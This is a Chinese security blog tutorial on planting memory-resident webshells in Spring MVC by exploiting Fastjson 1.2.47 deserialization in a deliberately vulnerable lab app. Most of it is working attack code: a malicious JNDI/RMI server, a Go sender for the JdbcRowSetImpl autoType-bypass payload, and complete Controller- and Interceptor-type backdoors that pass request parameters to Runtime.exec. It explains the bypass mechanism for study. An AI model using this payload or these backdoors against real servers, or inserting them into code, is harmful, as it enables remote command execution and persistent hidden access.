SpringMVC配合Fastjson的內存馬利用與分析

SpringMVC
Spring MVC是一種基于Java的實現了Web MVC設計模式的請求驅動類型的輕量級Web框架,即使用了MVC架構模式的思想,將web層進行職責解耦,基于請求驅動指的就是使用請求-響應模型,框架的目的就是幫助我們簡化開發,Spring Web MVC也是要簡化我們日常Web開發的
總而言之,SpringMVC框架使用范圍極廣。筆者大二曾參與多個實際上線Java項目的開發,他們的框架都包含了SpringMVC
下面做一個基本的功能演示:
@Controllerpublic class TestController { @RequestMapping("/test") @ResponseBody public String test(){ return "
hello world
"; }}
以上代碼實現了用戶訪問localhost:8080/test后返回html代碼
hello world
搭建環境
筆者為了方便搭建環境,采用了SpringBoot,JDK為8u131,使用Fastjson創造反序列化利用點
<dependencies> <dependency> <groupId>com.alibabagroupId> <artifactId>fastjsonartifactId> <version>1.2.47version> dependency> <dependency> <groupId>org.springframework.bootgroupId> <artifactId>spring-boot-starter-webartifactId> dependency> <dependency> <groupId>org.springframework.bootgroupId> <artifactId>spring-boot-starter-testartifactId> <scope>testscope> dependency> dependencies>
創造一個反序列化利用點
// 使用fastjson 1.2.47模擬利用點import com.alibaba.fastjson.JSON;
@Controllerpublic class TestController { @RequestMapping("/deserialize") @ResponseBody public String deserialize(@RequestParam String code) throws Exception{ // 本地JDK版本過高,為了方便,直接設置系統變量以成功利用JNDI注入 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); JSON.parse(code); return "deserialize"; }}
漏洞利用
首先嘗試彈出計算器,確保利用成功后再嘗試內存馬
攻擊者啟動JNDI Server
public class JNDIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("badClassName", "com.test.shell.badClassName","http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit", referenceWrapper); }}
其中的badClassName代碼如下,在靜態代碼塊中執行計算器命令
package com.test.shell;
public class badClassName { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } }}
Reference的factoryLocation為class文件的http服務器,筆者使用Golang做了簡單的路徑映射
注意:不能直接映射到badClassName當前路徑,而是classes路徑
func main() { mux := http.NewServeMux() path := "YourPath\\Fastjson\\target\\classes" mux.Handle("/", http.StripPrefix("/", http.FileServer(http.Dir(path)))) if err := http.ListenAndServe(":8000", mux); err != nil { fmt.Println("ok") }}
圖片是訪問/com/test/shell后的效果

使用Golang發送Fastjson的JdbcRowSetImpl類型的Payload
func main() { clint := &http.Client{} payload := "{" + " \"a\":{" + " \"@type\":\"java.lang.Class\"," + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"" + " }," + " \"b\":{" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + " \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," + " \"autoCommit\":true" + " }" + "}" // 防止出現意外問題,對Payload進行URL編碼 resp, err := clint.Get("http://127.0.0.1:8080/deserialize?code=" + url.QueryEscape(payload)) if err != nil { fmt.Println(err) } fmt.Println(resp.StatusCode)}
當我們發送后發現成功彈出計算器

既然分析到此處,順便來看一下1.2.47版本繞過和JdbcRowSetImpl的原理,使用a和b兩個對象,為了將a設置到緩存mapping中在第二個對象加載時繞過哈希黑名單和關閉動態類型機制。JdbcRowSetImpl對象我們設置其autoCommit屬性為true是因為在setAutoCommit方法中有如下代碼
public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); }}
由于沒有設置this.conn代碼會進入this.connect,其中包含了 lookup(this.getDataSourceName())的代碼。這里的dataSourceName正是傳入的值,在這里被當作參數傳入lookup函數,然后前往JNDI Server使用對應的協議尋找,由于JDNI綁定Reference,這里會加載到本地,實例化
private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); ......
內存馬
上文已經成功彈出計算器了,說明筆者創造的漏洞點生效,下面將介紹內存馬
該內存馬代碼參考網上大佬的博客,做了一些修改,本文后續正是采用此方法(將在后文給出大佬博客鏈接)
package com.test.shell;
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;
public class InjectToController { public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { // 關于獲取Context的方式有多種 WebApplicationContext context = (WebApplicationContext) RequestContextHolder. currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); method.setAccessible(true); // 通過反射獲得該類的test方法 Method method2 = InjectToController.class.getMethod("test"); // 定義該controller的path PatternsRequestCondition url = new PatternsRequestCondition("/good"); // 定義允許訪問的HTTP方法 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 構造注冊信息 RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 創建用于處理請求的對象,避免無限循環使用另一個構造方法 InjectToController injectToController = new InjectToController("aaa"); // 將該controller注冊到Spring容器 mappingHandlerMapping.registerMapping(info, injectToController, method2); }
// 第二個構造函數 public InjectToController(String aaa) { }
public void test() throws IOException { // 獲取請求 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); // 獲取請求的參數cmd并執行 // 類似于PHP的eval($_GET["cmd"]) Runtime.getRuntime().exec(request.getParameter("cmd")); }}
注意網上給出的這部分代碼在高版本SpringMVC中無效,并且找不到合適的替代。這部分代碼的目的是防止注冊重復path,這種問題其實不需要這種復雜處理,對上文中/good部分的path替換為/Go0D等組合即可,因為正常的業務代碼不可能定義這類特殊的path
Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
這是Controller形的內存馬,同時存在Interceptor型的內存馬。Interceptor名為攔截器,類似Filter,常用于處理權限問題,有興趣的師傅可以嘗試
public class TestInterceptor extends HandlerInterceptorAdapter { public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException { // 獲取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 從context中獲取AbstractHandlerMapping的實例對象 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); // 反射獲取adaptedInterceptors屬性 java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping); // 避免重復添加 for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { System.out.println("已經添加過TestInterceptor實例了"); return; } } TestInterceptor aaa = new TestInterceptor("aaa"); // 避免進入實例創建的死循環 adaptedInterceptors.add(aaa); // 添加全局interceptor }
private TestInterceptor(String aaa) { }
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); // 不干擾正常業務邏輯 if (code != null) { java.lang.Runtime.getRuntime().exec(code); return true; } else { return true; } }}
注意其中的這部分代碼在高版本SpringMVC中會遇到錯誤,導致無法注冊Interceptor。由于時間關系,筆者并未嘗試尋找替代類,有興趣的師傅可以尋找合適的高版本利用方式
context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
提供landgrey師傅文章中獲取context的幾種方式,測試高版本SpringMVC可用的如下
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
// 本文的方式WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
說了這么多,還沒進行內存馬的利用,改下JNDI Server
public class JNDIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("InjectToController", "com.test.shell.InjectToController", "http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit", referenceWrapper); }}
訪問localhost:8080/good?cmd=calc,成功生成內存馬
寫在后面 關于本文有幾處思考: 1.目前的內存馬是無回顯的,可以修改代碼實現回顯 2.筆者模擬的利用點是Fastjson反序列化,是否有其他方式(思路:SPEL型RCE,SSTI…) 3.既然Spring可以,那Struts2/Tomcat,甚至國產框架JFinal等框架是否也可以有類似的思路
參考鏈接 https://landgrey.me/blog/12/ https://landgrey.me/blog/19/ https://xz.aliyun.com/t/9344 https://www.cnblogs.com/bitterz/p/14859766.html https://www.cnblogs.com/bitterz/p/14820898.html